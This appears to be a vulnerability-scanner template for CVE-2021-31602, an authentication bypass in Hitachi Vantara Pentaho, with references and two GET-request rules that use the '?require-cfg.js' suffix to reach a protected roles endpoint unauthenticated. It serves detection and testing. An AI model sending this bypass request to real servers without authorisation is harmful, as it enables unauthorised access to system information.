An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
id: CVE-2021-31602
info:
name: Pentahoa uthentication bypass
author: For3stCo1d
severity: high
description: |-
An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
reference:
- https://ssd-disclosure.com/ssd-advisory-pentaho-unauth-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2021-31602
- https://ssd-disclosure.com/ssd-advisory--pentaho-unauth-rce
- https://www.tenable.com/security/research/tra-2021-44
tags: cve,cve2021,rce,pentaho
created: 2021/12/20
rules:
r0:
request:
method: GET
path: /pentaho/api/userrolelist/systemRoles?require-cfg.js
expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
r1:
request:
method: GET
path: /api/userrolelist/systemRoles?require-cfg.js
expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
expression: r0() || r1()
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